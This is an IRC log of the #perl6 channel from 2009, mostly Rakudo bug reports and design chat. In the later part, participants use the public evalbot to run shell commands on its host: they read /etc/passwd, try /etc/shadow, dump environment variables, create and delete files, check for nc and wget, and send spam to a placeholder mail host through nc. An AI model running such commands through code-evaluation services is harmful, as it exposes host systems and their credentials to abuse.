»ö« | perl6-projects.org/ | nopaste: sial.org/pbot/perl6 | evalbot: 'perl6: say 3;' | irclog: irc.pugscode.org/ | UTF-8 is your friend!
Set by Tene on 14 May 2009.
00:01 ElectricHeavyLan left
cotto masak++ for getting perl6 exposure oh Hacker News 00:07
sjohnson++ too
00:07 wayland76 joined 00:25 nsh joined 00:28 eternaleye_ joined
japhb_ rakudo: say $*IN.get.words; 00:28
p6eval rakudo 695300: ( no output ) 00:29
00:29 DemoFreak left
japhb_ Hmmm, locally I get: $ perl6 -e 'say $*IN.get.words;' 00:29
Could not find non-existent sub die
skids hrm. 00:30
japhb_ And its true whenever I do '$filehandle.get.words'
but '$a = $filehandle.get; @b = $a.words' works fine 00:31
skids here too
Oh.
rakudo: say $*IN.words; 00:32
p6eval rakudo 695300: OUTPUT«IO()<0xb62b8750>»
skids rakudo: say $*IN.words[4];
p6eval rakudo 695300: ( no output )
japhb_ OK, I think I'll tackle this later. :-( 00:34
00:34 japhb_ left
pmichaud good evening, #perl6 00:37
skids EHLO
wayland76 502 ESMTP command error 00:38
skids rakudo:say $*IN.get.WHAT.say 00:39
oops a bit too much saying there :-)
rakudo: $*IN.get.WHAT.say
p6eval rakudo 695300: ( no output ) 00:40
00:40 kapro left
skids rakudo: $*IN.get.say 00:41
pmichaud decides to fix .get
p6eval rakudo 695300: OUTPUT«Land der Berge, Land am Strome,»
pmichaud oh, maybe it already got fixed.
00:41 exodist left 00:42 nsh left
skids pmichaud: here $*IN.get.WHAT.say is IOIterator rather than str 00:42
pmichaud right, that's the bug.
I'll fix that one.
skids I could take a swipe at it.
...or not :-) ... feel like adding .get to regular Iterator while your at it? (pester, pester) 00:44
00:44 eternaleye left
pmichaud Does regular Iterator have a .get? 00:45
skids Until it does, we can't Iterate arrays... 00:46
pmichaud I'll probably wait for Iterator.get until after we re-implement arrays and lists. 00:47
skids Well, I do have a pending 4 line patch...
RT#64858 00:50
...which may not be the way it ends up, but would make it work in the meantime.
pmichaud fsvo "work" 00:52
(reviewing patch)
skids Well, it works for me. Saves me from some Q:PIR
01:00 justatheory left 01:15 synth joined
TimToady rehi, back from trip, and partly back from 2-day migraine... :/ 01:20
01:20 lichtkind joined
TimToady anything hanging fire, before I attempt to backlog? 01:20
lichtkind can i use .assume even if sub has only positional parameters that have names in the signature (but without leading :) 01:21
wayland76 Only that the backlog is very large :)
lichtkind: Example?
TimToady lichtkind: you can call .assuming with any arguments you can do a normal call with
sjohnson cotto: 16:36:00 cotto | masak++ for getting perl6 exposure oh Hacker News 01:22
skids Perl6 needs an extension that downloads the backlog directly into your brain.
sjohnson 16:36:10 cotto | sjohnson++ too
what did i do?
lichtkind wayland76: my sig is multi sub potenz (Num $basis!, Num- $exponent!)
wayland76: and i wanted &quadrier := &potenz.assuming( $exponent => 2 );
TimToady: yes but how to fill the slot for the second positional parameter? 01:23
TimToady you can alway supply positional args by name 01:24
but leave the $ off the key of the pair there
lichtkind thanks
yes its time for bed 01:25
its even bug in p5
TimToady: macro is just is sub in a begin block?
pmichaud TimToady: fwiw, I'm still not caught up on the backlog either 01:26
01:26 LadyLuna1y joined
pmichaud (wb) 01:26
sjohnson PimChaudy 01:27
TimToady lichtkind: that's an oversimplification
wayland76 I'm only caught up on the parts I was in on, although I also saw pmichaud's message to me
TimToady a macro's interface is in terms of ASTs
01:28 bacek joined
lichtkind TimToady: i know there is this parsed stuff 01:28
but i thought thats optional
TimToady you can write macro-like subs as operators
but the keyword "macro" switches you into compiler-think 01:29
so you can only return either text or AST (usually from a quasi quote)
is parsed only switches the parsing from the default, but by default the arguments come into a macro as AST also 01:30
we don't really define the notion of an "immediate" sub currently 01:31
apart from enclosing in BEGIN {...}
(which is allowed anywhere in an expression)
lichtkind so macros are for AST manipulations? 01:32
TimToady yes, so we get hygienic macros
textual macros have to be reparsed, and that makes them "unclean" 01:33
wayland76 I thought macros were for AST generation, which can then be manipulated?
lichtkind TimToady: thats a big one i have a friend that will verly like that
i mena hiegienic macro
TimToady what would manipulate the AST *after* the macro, other than the ordinary compiler? 01:34
(or another macro)
generally the idea is to manipulate an AST within the macro
quasi-quoting is just the most convenient way to generate an AST as an object 01:35
01:35 hcchien joined
TimToady when the macro can then modify if it likes, before returning it 01:35
s/when/which/
lichtkind TimToady: the hygeniec macros but have not much to do with begin? 01:36
thanks a lot i slowly get it
s/begin/BEGIN{}/ 01:37
wayland76 TimToady: Ok, thanks.
01:37 LadyLunacy left
sjohnson i had a dream about Perl 6 last night 01:39
and i shall ask my question as it made me think about something simple 01:40
wayland76 Did the dream say when it will be done?
01:40 ab5tract_ left 01:41 ab5tract_ joined
sjohnson heh 01:41
do {
$answer = getTheAnswer();
} until $answer eq "OK";
TimToady s/do/repeat 01:42
sjohnson the scoping is really my concern
this i believe would fail
in p5
skids .o0(wayland76 did mention something about channel clown)
TimToady well, no, depends on where you put the "my" 01:43
which you haven't :)
sjohnson i meant to put it in the $answer
TimToady so in p5 it's global
sjohnson
do {
01:43 ab5tract_ left
sjohnson my $answer = getTheAnswer(); 01:43
} until $answer eq "OK";
this would fail i believe in p5
TimToady perl6: repeat until my $answer eq "OK" { $answer = getTheAnswer() } 01:44
p6eval pugs: OUTPUT«*** No such subroutine: "&getTheAnswer"␤ at /tmp/UptNdRTYnZ line 1, column 35-60␤»
..rakudo 695300: OUTPUT«Could not find non-existent sub getTheAnswer␤»
..elf 26940: OUTPUT«Unknown rule: statement_control:repeat␤It needs to be added to ast_handlers.␤ at ./elf_h line 2850␤»
01:44 agentzh joined
sjohnson amazing 01:44
now, in p6 01:45
can you do that same nice syntax after the last }?
or does it have to be right after the repeat text?
TimToady no, the scoping rules of "my" have to be kept simple
sjohnson i suppose i could ask rukado
wayland76 Rakudo
sjohnson that does indeed solve my dream problem
01:46 sri_kraih left
wayland76 Remember what the Egyptians shouted during their celebrations... 01:46
RA! RA!
(that''s the first two letters of Rakudo)
sjohnson i liked larry's mneuomnic
i lol'd
TimToady 3 cheers for the sun god, he sure is a fun god, Ra! Ra! Ra!
skids if it's "my" it can't make it out of the loop anyway, so why not use a different form?
wayland76 TimToady: Have you seen the Asterix books? 01:47
TimToady some of 'em
sjohnson asterix and obelix
?
wayland76 Ok, just making sure. I stole my joke from Asterix & Cleopatra :)
sjohnson: Yes; Americans often haven't seen them
You being Canadian will of course know them, possibly even in the original French :)
TimToady I'm not American, I'm Californian 01:48
lichtkind :)
wayland76 That's like what Young Einstein said in the movie
sjohnson yeah i have read them in french as a kid
lichtkind good night
wayland76 Cultured French guy: Who is this barbarian?
sjohnson thought i didn't think they were particularily hilarious
the fat guy? 01:49
wayland76 Young Einstein in a broad Aussie accent: I'm not a barbarian, I'm a Tasmanian!
01:49 lichtkind left
wayland76 sjohnson: Well, I've read an article that claims that they're funnier in English 01:49
They also get funnier as you get older, or at least as you learn more bits of Latin :)
sjohnson camel book is easily the most entertaining technical book i've ever read 01:50
TimToady bows
wayland76 joins applause
TimToady we were certainly trying to raise the bar, for some definition of bar
sjohnson and i learned how to codein perl too
code in*
cotto sjohnson, I was referring to masak's journal entry: use.perl.org/~masak/journal/39025
wayland76 Mine is holding up my second keyboard, so it's readily accessible
hercynium only raises the foo 01:51
wayland76 wonders what raising the baz is :) 01:52
01:52 clug joined 01:53 Whiteknight left
clug Is perl6 going to include something like the php funtion nl2br? 01:53
sjohnson wow i had no idea someone was documenting my most cherished questions
clug www.reddit.com/r/programming/commen..._from_irc/ 01:54
wayland76 lambdabot: @google nl2br
lambdabot www.php.net/nl2br
Title: PHP: nl2br - Manual
01:54 Maghnus_ joined
wayland76 ok, lambdabot is just cool :) 01:54
pmichaud clug: $str.subst(/\n/, "<br />\n")
rakudo: say "foo isn't\nbar".subst(/\n/, "<br />\n"); 01:56
p6eval rakudo 695300: OUTPUT«foo isn't<br />␤bar␤»
wayland76 I like this quote from sjohnson's link: "perl5 syntax was flexible; with perl6 random gibberish has a good shot at being well-formed. " 01:57
It may not be right, but I had to smile :)
01:57 agentzh left
clug rakduo: say "\n" 01:59
rakudo: say "\n"
p6eval rakudo 695300: OUTPUT«␤␤»
01:59 alester left
clug In private it told me: highlight 26940: OUTPUT?Odd number of elements in hash assignment at Cursor.pm line 140.?rakduo: say "\n"?? 01:59
and yeah, I made a typo
wayland76 On my screen, that has a bunch of attempted colour coding in it, so it's almost unreadable 02:00
pmichaud rakudo: my @foo = <a b c>; say (^@foo).perl
p6eval rakudo 695300: OUTPUT«0..^3»
wayland76 ANSI escape sequences
pmichaud TimToady: is it true that bare parens now produce a Capture instead of a List? 02:05
I've seen that meme repeated several times but wanted to verify.
sjohnson wayland76: i dont see that quote on the link
maybe im looking at the wrong place
wayland76 In the middle of the comment right at the bottom :) 02:06
clug join #proggit 02:07
oops
wanted to see if the channel exists, forgot the /
02:07 clug left 02:10 Maghnus left 02:11 Striki joined 02:16 ElectricHeavyLan joined
sjohnson thanks for the links 02:17
i had no idea the spotlight was on
:)
wayland76 So, sjohnson, how does it feel to be a contender on "Perl 6 Big Brother"? 02:18
wayland76 holds microphone to sjohnson
sjohnson well, I shall saw it loud and proud. "Perl brings me actual happiness when I write projects in it." 02:19
unlike any other language i have ever used for any other purpose 02:20
i can write as fast in it as i think about what i want to write
well, I think the vim editor is also to thank for that
02:21 DQuest joined 02:23 FurnaceBoy left 02:26 hercynium left
sjohnson now i won't talk about it much anymore as it will begin to sound strange 02:27
02:28 justatheory joined 02:33 amoc left, flexibeast joined 02:34 amoc joined
pmichaud sjohnson: fwiw, Perl6 brings me happiness when I write things in it as well. 02:35
sjohnson :) 02:38
wayland76 I wish my Rakudo RPM worked so I could join in :) 02:39
sjohnson thanks for sharing that
do rakudo devels hang out here too? 02:48
02:51 sbp joined
PerlJam rakudo: module X { constant Y = "foo"; }; say X::Y; # this should work, right? 02:52
p6eval rakudo 695300: OUTPUT«Null PMC access in isa()␤in Main (/tmp/rD35vfNy1o:1)␤»
02:52 nsh joined
PerlJam sjohnson: you'd be hard pressed to find people that are *not* rakudo developers hanging out here :) 02:53
(I exaggerate, but only a little) 02:54
02:57 LadyLunacy joined
pmichaud rakudo: module X { our constant Y = "foo"; }; say X::Y; 03:05
p6eval rakudo 695300: OUTPUT«Malformed declaration at line 1, near "constant Y"␤in Main (src/gen_setting.pm:0)␤»
pmichaud are "constant" declarations lexically or package scoped? 03:06
S04 says "lexically scoped". 03:07
03:07 LadyLuna1y left
pmichaud So in PerlJam's example above, X::Y isn't defined. 03:07
(and rakudo did the right thing)
PerlJam modulo a better error message 03:12
pmichaud modulo that. 03:13
03:16 Scorp2us left 03:17 Scorp2us joined, Tene joined 03:20 donaldh left, donaldh joined
eternaleye_ wayland76: I just sent a (long!) message to p6l speculating on requirements for a CPAN v6, partially because most suggestions are heavily biased towards binary distros. I used your general idea as a starting point, I hope you don't mind 03:23
PerlJam I guess since "constant" is a declarator just as "my" and "our" and "state".
our constant C = .... doesn't make much sense either 03:24
pmichaud I suspect what you really want
module X { our Y is readonly = "foo"; }
or something like that.
wayland76 I'll decide whether I mind after I see whether I communicated it to you clearly or not :)
PerlJam perhaps. 03:25
eternaleye_ General idea is to have a formal metadata spec, whic permits programmatic translation to disparate package formats, right?
PerlJam Though I don't think that works. 03:26
skids You mean like all those MakeMaker variables package maintainers failed to fill out? :-)
PerlJam I've a constraint (artificial, but still) to not use a sigil on my "constant"
pmichaud oh, sorry, I meant our $Y is readonly = "foo"; 03:27
I forgot the sigil.
PerlJam eternaleye_: that sounds orthogonal to cpan6
wayland76 eternaleye_: Almost. Basically, I want to create a Metadata object (consider that a spec, if you like), and then people either have to create them, or turn them into their favourite package format
pmichaud PerlJam: perhaps you want an enum, then
eternaleye_ skids: Well, that might be solvable by having a simple menu-based package maker. "newpackage: Enter name\n>"
PerlJam an enum for one thing feels weird.
but you may be right. 03:28
wayland76 PerlJam: Which CPAN? We're talking about CPAN as in CPAN shell, etc
eternaleye_ wayland76: Well, specifying an object interface formally would be pretty much the same effect, since you'd need a standard serialization
wayland76 eternaleye_: What? 03:29
skids eternaleye: and people will use it to generate a skeleton, and then add deendencies without noting them formally.
wayland76 If serialisation is what I think it is, then why do we need a standard one? 03:30
eternaleye_ PerlJam: Also, it /is/ imortant to CPAN: Where would the search metadata come from? Could CPAN extract the metadata into a sepatate tryy, so that package managers can handle the format internally?
PerlJam wayland76: let me rephrase ... formal meta-data spec == good, programmatic translation to other packaging formats == orthogonal
eternaleye_ s/tryy/tree/
wayland76 PerlJam: Yes, but we're interested in the spec only as a means to the programmatic translation :) 03:31
eternaleye_ PerlJam: But the metadata spec must have sufficient data-richness to enable translation upfromt, preferably without downloading the whole distribution like in P5
PerlJam maybe I just haven't moved my mind quite there yet, but that is not at all what I think of when it comes to cpan-like things.
eternaleye_ wayland76: Well, 'standard 03:32
wayland76: Well, 'standard' in the sense that there are certain required elements for a valid serialization and such, so that the Real Programmers(c) can write the metadata serialization raw XD
03:33 orafu left, orafu joined
wayland76 PerlJam: Those of us who use package managers have been individually beating CPAN into submission for years. We want to try to make sure things are right this time :) 03:33
eternaleye_ wayland76: AMEN 03:34
wayland76 eternaleye_: Not 100% sure I followed that, but from what I can pick up, we're thinking the same things
Actually, now that I think about it, CPAN6 should also be searchable with yum or whatever :)
PerlJam wayland76: so, how would that work? A cpan-client knows how to generate the proper packaging for the local system (say it's rpms), how does a sysadmin-type person use it? 03:35
wayland76 Also, if we do it right, it means that it will be a snap [easy] to implement package managers in Perl
Well, a config file somewhere would say what package format you want (and hopefully default to the correct format for the local system) 03:36
Then, they could use it the same way everywhere....
skids find old threads complaining about extutils and make notes not to do those things :-)
wayland76 ...and on a Redhat system, it would download, build, and install RPMs. On a Debian system it would do .debs. And on a linux from scratch system, it would do what the current CPAN system does 03:37
PerlJam wayland76: what I was thinking (and you almost said) was that CPAN (the many-files on disk archive) could present a rpm interface or a .deb interface or a pkg interface (or whatever) once you're to the point of automatic translation.
eternaleye_ PerlJam: Well, IIUC yum supports secondary repositories, so perhaps CPAN could host a preconverted repository so people don't /have/ to learn anything new. Generation could be automated by hooks, like search.c.o is currently
PerlJam wayland76: this would be at the cpan-server rather than the cpan-client though
eternaleye_ wayland76: One thing with the config file idea: many distros forbid modifying packages visible to the manager as non-root. Gentoo and Exherbo, f.e 03:38
PerlJam needs to type faster :)
wayland76 PerlJam: I'd like that as an option.
Yeah, you'd need sudo or su built in 03:39
PerlJam: I'd like to type faster as an option too :)
skids or a flag for a homedir package 03:40
eternaleye_ haha, I hunt & peck and I'm fast!
PerlJam eternaleye_: try it while switching between a few windows :)
eternaleye_ Alt-tab and notifications :P
wayland76 Multiple tabs :) 03:41
eternaleye_ I keyboard command shortcuts, but hunt & peck text. I'm weird.
wayland76 Well, I'm planning to get an Avant Stellar (keyboard) :) 03:42
skids hunt & peck = immunity to carpal tunnel syndrome.
:-)
eternaleye_ :D
wayland76 I don't know why, but I've never had carpal tunnel 03:43
probably because I subconsciously flex my hands regularly, and use a fairly old keyboard
or something 03:44
If I ever get carpal tunnel, I'll investigate the Maltron keyboard :) 03:45
PerlJam rakudo: sub time-flies { 5 }; say time-flies; 03:46
p6eval rakudo 695300: OUTPUT«Could not find non-existent sub flies␤»
skids Or maybe those aeon flux feet fingers :-)
PerlJam Is that a known parser bug?
wayland76 rakudo: sub aqua-marine { 5 }; say aqua-marine();
p6eval rakudo 695300: OUTPUT«5␤» 03:47
wayland76 rakudo: sub aqua-marine { 5 }; say aqua-marine;
p6eval rakudo 695300: OUTPUT«5␤»
skids std: sub time-flies { 5 }; say time-flies;
PerlJam wayland76: It has to do with time being a built in I would imagine
p6eval std 26940: OUTPUT«ok 00:02 35m␤»
pmichaud it's a known parser bug, but I don't know if there's an RT for it.
wayland76 rakudo: sub time-marine { 5 }; say time-marine;
p6eval rakudo 695300: OUTPUT«Could not find non-existent sub marine␤»
eternaleye_ Haha
wayland76 There we go. Read *that* error message :) 03:48
pmichaud But yes, the problem is that Rakudo is seeing "time-marine" as time() - marine
(because "time" is a named 0-ary)
skids
.oO(time-genious)
wayland76 Actually, that error message can be sung to the tune of "We all live in a yellow..." :) 03:49
eternaleye_ rakudo sub time-genius_church { 5 }; say time-genius_church 03:50
rakudo: sub time-genius_church { 5 }; say time-genius_church
p6eval rakudo 695300: OUTPUT«Could not find non-existent sub genius_church␤»
PerlJam "sub genius"? 03:51
wayland76 rakudo: sub time-mit-to-me-peons { 5 }; say time-mit-to-me-peons;
p6eval rakudo 695300: OUTPUT«Could not find non-existent sub mit-to-me-peons␤»
wayland76 rakudo: use arrogance; sub time-mit-to-me-peons { 5 }; say time-mit-to-me-peons;
p6eval rakudo 695300: OUTPUT«Can't find ./arrogance in @INC␤in Main (src/gen_setting.pm:438)␤»
eternaleye_ PerlJam: www.subgenius.com/
PerlJam oh, heh. I was thinking of Alonzo Church 03:52
wayland76 PerlJam: Now we're showing our age :)
PerlJam (he's what comes to my mind when you mix church and genius in the same sentence)
wayland76: really? How old am I? 03:53
eternaleye_ rakudo: use my-arse-with-two-hands-and-a-flashlight
p6eval rakudo 695300: OUTPUT«Can't find ./my-arse-with-two-hands-and-a-flashlight in @INC␤in Main (src/gen_setting.pm:438)␤»
wayland76 What was he again? General Semantics or Lambda Calculus or something?
PerlJam: over 30, probably :) 03:54
eternaleye_ Lambda Calculus IIRC
PerlJam wayland76: yeah, that make me an oldster :)
03:54 nacho_ joined
wayland76 PerlJam: Well, IIRC, you're even older than me, and I'm 32 :) (I think you said how old you were a month or so ago) 03:55
slow mailing lists--
eternaleye_ I think it's in moderation 03:56
PerlJam That's the secret ... all things in moderation ;)
wayland76 Are we moderated? That explains a lot :)
skids PerlJam: hail bob. Pass the slack!
eternaleye_ Well, and I sent it via NNTP
wayland76 That's what keeps the immoderation here away :) 03:57
Ah, NNTP doesn't help
I love NNTP, but that is one of its drawbacks
(not that I use it much, though)
04:00 sparc joined 04:01 agentzh joined
wayland76 Now that I've read the updated ROADMAP, all I can say is task A++ :) 04:02
04:07 nacho_ left
wayland76 is looking forward to his new computer that will compile faster :) 04:09
eternaleye_ Indeed. 04:11
(wrt ROADMAP) 04:12
wayland76 Does he have a grant to do that? 04:13
04:33 clug joined
clug raduko: print_r($_SERVER); 04:34
rakudo: print_r($_SERVER);
p6eval rakudo 695300: OUTPUT«Symbol '$_SERVER' not predeclared in <anonymous> (/tmp/zeXGcdHbW3:1)␤in Main (src/gen_setting.pm:3166)␤»
wayland76 Rakudo was spelled incorrectly, and won't do print_r
That's a PHPism
clug oh 04:35
wayland76 It probably has something similar
But I don't remember what (I'm no expert)
pmichaud .perl
wayland76 rakudo $_SERVER.perl 04:36
rakudo: $_SERVER.perl
pmichaud and afaik there's no $_SERVER variable.
p6eval rakudo 695300: OUTPUT«Symbol '$_SERVER' not predeclared in <anonymous> (/tmp/wDiP0mgXzl:1)␤in Main (src/gen_setting.pm:3166)␤»
pmichaud That's definitely a PHPism
clug rakudo: foreach(%ENV) {print $_;}
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "{print $_;"␤in Main (src/gen_setting.pm:0)␤»
pmichaud print %ENV.perl;
rakudo: print %ENV.perl;
p6eval rakudo 695300: OUTPUT«Symbol '%ENV' not predeclared in <anonymous> (/tmp/68daQRo75M:1)␤in »
pmichaud rakudo: print %*ENV.perl;
p6eval rakudo 695300: OUTPUT«{"TERM" => "screen", "SHELL" => "/bin/bash", "USER" => "evalenv", "LD_LIBRARY_PATH" => "/home/evalenv/pugs/v6/smop/build/", "LS_COLORS" => 04:37
.."no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=0…
eternaleye_ rakudo: for %ENV.kv -> $k, $v { say "$k : $v" }
p6eval rakudo 695300: OUTPUT«Symbol '%ENV' not predeclared in <anonymous> (/tmp/U1VCggBQeS:1)␤in Main (src/gen_setting.pm:3166)»
eternaleye_ rakudo: for %*ENV.kv -> $k, $v { say "$k : $v" }
p6eval rakudo 695300: OUTPUT«TERM : screen␤SHELL : /bin/bash»
eternaleye_ rakudo: say qx/hostname/
p6eval rakudo 695300: OUTPUT«timtowtdi␤␤» 04:38
wayland76 rakudo: say qx/hostname/ ~~ s/wt(.)i/oa$1y/ 04:40
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "(.)i/oa$1y"␤in Main (src/gen_setting.pm:0)␤»
pmichaud rakudo doesn't implement s/.../
rakudo: say qx/hostname/.subst(/wt(.)i/, { "oa$1y" }) 04:41
p6eval rakudo 695300: OUTPUT«Use of uninitialized value␤timtooay␤␤»
clug rakudo: open(FH, 'test.txt');
p6eval rakudo 695300: OUTPUT«Could not find non-existent sub FH␤»
clug ???
pmichaud rakudo: my $fh = open('test.txt'); 04:42
p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path 'test.txt'␤in Main (src/gen_setting.pm:3166)␤»
wayland76 rakudo: open(my $fh, '>test.txt');
p6eval rakudo 695300: OUTPUT«Use of uninitialized value␤Unable to open filehandle from path ''␤in Main (/tmp/WJ6vL2Olob:1)␤»
eternaleye_ my $fh = open('test.txt', :w);
pmichaud open() returns a filehandle, it doesn't take one as an argument.
eternaleye_ rakudo: my $fh = open('test.txt', :w);
p6eval rakudo 695300: ( no output )
eternaleye_ rakudo: my $fh = open('test.txt', :w); say $fh.get
p6eval rakudo 695300: OUTPUT«␤»
wayland76 pmichaud: As soon as I saw yours, I knew -- I'm just a little forgetful, especially with not having a working Rakudo (RPM) to play with :) 04:43
clug rakudo: open('|ls');
p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path '|ls'␤in Main (src/gen_setting.pm:3166)␤»
pmichaud wayland76: why does it have to be an RPM?
eternaleye_ rakudo: my $fh = open('test.txt', :w, :r); say { $fh } "hi"; say $fh.get
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; say "␤in Main (src/gen_setting.pm:0)␤»
wayland76 pmichaud: Because that's the way I do things on my system
eternaleye_ rakudo: my $fh = open('test.txt', :w, :r); $fh.say"hi"; say $fh.get
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; say "␤in Main (src/gen_setting.pm:0)␤»
pmichaud wayland76: okay.
eternaleye_ rakudo: my $fh = open('test.txt', :w, :r); $fh.say "hi"; say $fh.get
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; say "␤in Main (src/gen_setting.pm:0)␤»
clug I thought you could execute shell commands in open using pipe symbol?
perldoc.perl.org/functions/open.html
wayland76 pmichaud: But it means that I have to turn Rakudo into an RPM, which is a bonus for everyone :) 04:44
pmichaud clug: I'm not sure that's true for Perl 6 anymore.
clug: I don't know if that's been officially specified yet.
wayland76 Is there an equivalent?
eternaleye_ rakudo: my $fh = open('test.txt', :w); $fh.say "hi"; $fh.close; my $fh2 = open('test.txt', :r); say $fh2.get
clug Does null byte injection still work!?!?
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; $fh."␤in Main (src/gen_setting.pm:0)␤»
04:44 alester joined
wayland76 Oh, yeah, that's right 04:44
clug You can't break null byte injection
it will make hundreds of websites less vulnerable
eternaleye_ rakudo: my $fh = open('test.txt', :w); $fh.say( "hi" ); $fh.close; my $fh2 = open('test.txt'); say $fh2.get 04:45
p6eval rakudo 695300: OUTPUT«hi␤»
wayland76 clug: The spec for IPC (which includes that piping stuff) is still in pre-draft, but no doubt there'll be something equivalent
eternaleye_ clug: ^^^
rakudo: my $fh2 = open('test.txt'); say $fh2.get
p6eval rakudo 695300: OUTPUT«hi␤»
eternaleye_ Persistence ;D 04:46
clug My poison null bytes are safe then <3 ( insecure.org/news/P55-07.txt )
wayland76 rakudo: my $fh2 = open('/etc/passwd'); say $fh2.get
p6eval rakudo 695300:
..OUTPUT«root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var…
wayland76 rakudo: my $fh2 = open('/etc/shadow'); say $fh2.get
p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path '/etc/shadow'␤in Main (src/gen_setting.pm:3166)␤»
eternaleye_ It ate the \n's!
wayland76 phew! 04:47
clug lol
eternaleye_ rakudo: say "I accidentally the whole passwd"
p6eval rakudo 695300: OUTPUT«I accidentally the whole passwd␤»
pmichaud I'm working on .get now, but unfortunately that led to an importation bug
actually, I guess I'll do the quick-fix for .get and then fix import tomorrow. 04:48
04:50 davidad joined
clug How do you do readdir? 04:50
04:51 skids left
clug rakudo: my $fh2 = open('.'); map{say $_;} readdir($fh2); 04:52
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "{say $_;} "␤in Main (src/gen_setting.pm:0)␤»
wayland76 rakudo: my $fh2 = open('.'); readdir($fh2).say;
p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path '.'␤in Main (src/gen_setting.pm:3166)␤»
wayland76 rakudo: my $fh2 = opendir('.'); readdir($fh2).say;
p6eval rakudo 695300: OUTPUT«Could not find non-existent sub opendir␤»
wayland76 NYI = Not Yet Implemented, I'm guessing 04:53
eternaleye_ rakudo: .say for qx/ls/.split( /\s+/ )
p6eval rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤Makefile␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc␤rakudo_revision»
eternaleye_ rakudo: .say for qx/ls/.split( /\n+/ ) 04:54
p6eval rakudo 695300: ( no output )
clug rakudo: .say qx/touch test.txt/ 04:57
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "qx/touch t"␤in Main (src/gen_setting.pm:0)␤»
clug rakudo: .say qx/`touch test.txt`/
PerlJam rakudo: .say for qx/ls/.comb(/\S+/);
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "qx/`touch "␤in Main (src/gen_setting.pm:0)␤»
rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤lol.txt␤Makefile␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc␤»
04:57 fulliautomatix joined
clug lol I made lol.txt 04:57
In private
this is epic
s1n wonders how long until someone tries removing files 04:58
PerlJam rakudo: run("rm lol.txt"); # now s1n
wayland76 rakudo: .say for qx/rm lol.txt/
p6eval rakudo 695300: ( no output )
rakudo 695300: OUTPUT«rm: cannot remove `lol.txt': No such file or directory␤␤»
eternaleye_ qx/rm test.txt/
rakudo: qx/rm test.txt/
p6eval rakudo 695300: ( no output )
clug rakudo: .say for qx/ls/.comb(/\S+/);
p6eval rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤LOL_I_CAN_MAKES_FILES␤Makefile␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc␤»
eternaleye_ rakudo: my $fh2 = open('test.txt'); say $fh2.get
p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path 'test.txt'␤in Main (src/gen_setting.pm:3166)␤»
clug >LOL_I_CAN_MAKES_FILES
wayland76 Can we have a sandbox now? 04:59
zepolen rakudo: qx/touch me/
p6eval rakudo 695300: ( no output )
clug rm -rf /
eternaleye_ no
clug lol
I know
I'm not evil
zepolen rakudo: .say for qx/ls/.comb(/\S+/);
p6eval rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤LOL_I_CAN_MAKES_FILES␤Makefile␤me␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc»
zepolen jesus
s1n jnthn: do the custom BUILDs actually work?
PerlJam so ... what's with the qx/ls/.split stuff anyway?
eternaleye_ PerlJam: If you can find a readdir implementation, we'll tell you. 05:00
PerlJam I get that you need a readdir proxy, but why say it bunches of times in subtly different ways? 05:02
hah! 05:03
Parrot VM: PANIC: Out of mem!
wayland76 They were talking about that error on #parrot the other day
Someone (WhiteKnight?) said it looked like a doozy
( s/doozy/something else/ )
PerlJam That was from a program that generates a bunch of objects and then performs various operations on them. 05:04
s1n PerlJam: wow, that sounds suspiciously like every program i've written!
eternaleye_ s1n: No, sometimes you make a bunch of lambdas! 05:05
wayland76 Not me. Objects are for wimps :)
perl -e forever :)
(just kidding -- I use objects when the situation warrants) 05:06
s1n i was joking about how vague his statement was :)
PerlJam I can be more vague if you like :)
clug rakudo 695300: OUTPUT?/bin/sh:?telnet:?command?not?found??? 05:07
: (
I was going to make it says stuff on irc : (
justatheory rakudo: say what
p6eval rakudo 695300: OUTPUT«Could not find non-existent sub what␤»
clug I guess I could always install telnet
eternaleye_ rakudo: say qx/which ktelnet/
p6eval rakudo 695300: OUTPUT«␤»
s1n PerlJam: you wrote a program that created data, manipulated it, possibly performed I/O?
clug I wonder if wget works
eternaleye_ rakudo: say qx/which wget/
p6eval rakudo 695300: OUTPUT«/usr/bin/wget␤␤»
wayland76 rakudo: say qx/which telnet/
p6eval rakudo 695300: OUTPUT«␤»
wayland76 rakudo: say qx/which nc/ 05:08
p6eval rakudo 695300: OUTPUT«/bin/nc␤␤»
eternaleye_ Aha!
wayland76 Ah, beautiful :)
05:08 Striki left
s1n yay everyone just figured out how to get shell access to feather with qx! that's so fun 05:08
wayland76 rakudo: say qx/nc 'I can haz spam' mail.example.org -p 25/ 05:09
PerlJam rakudo: run("id");
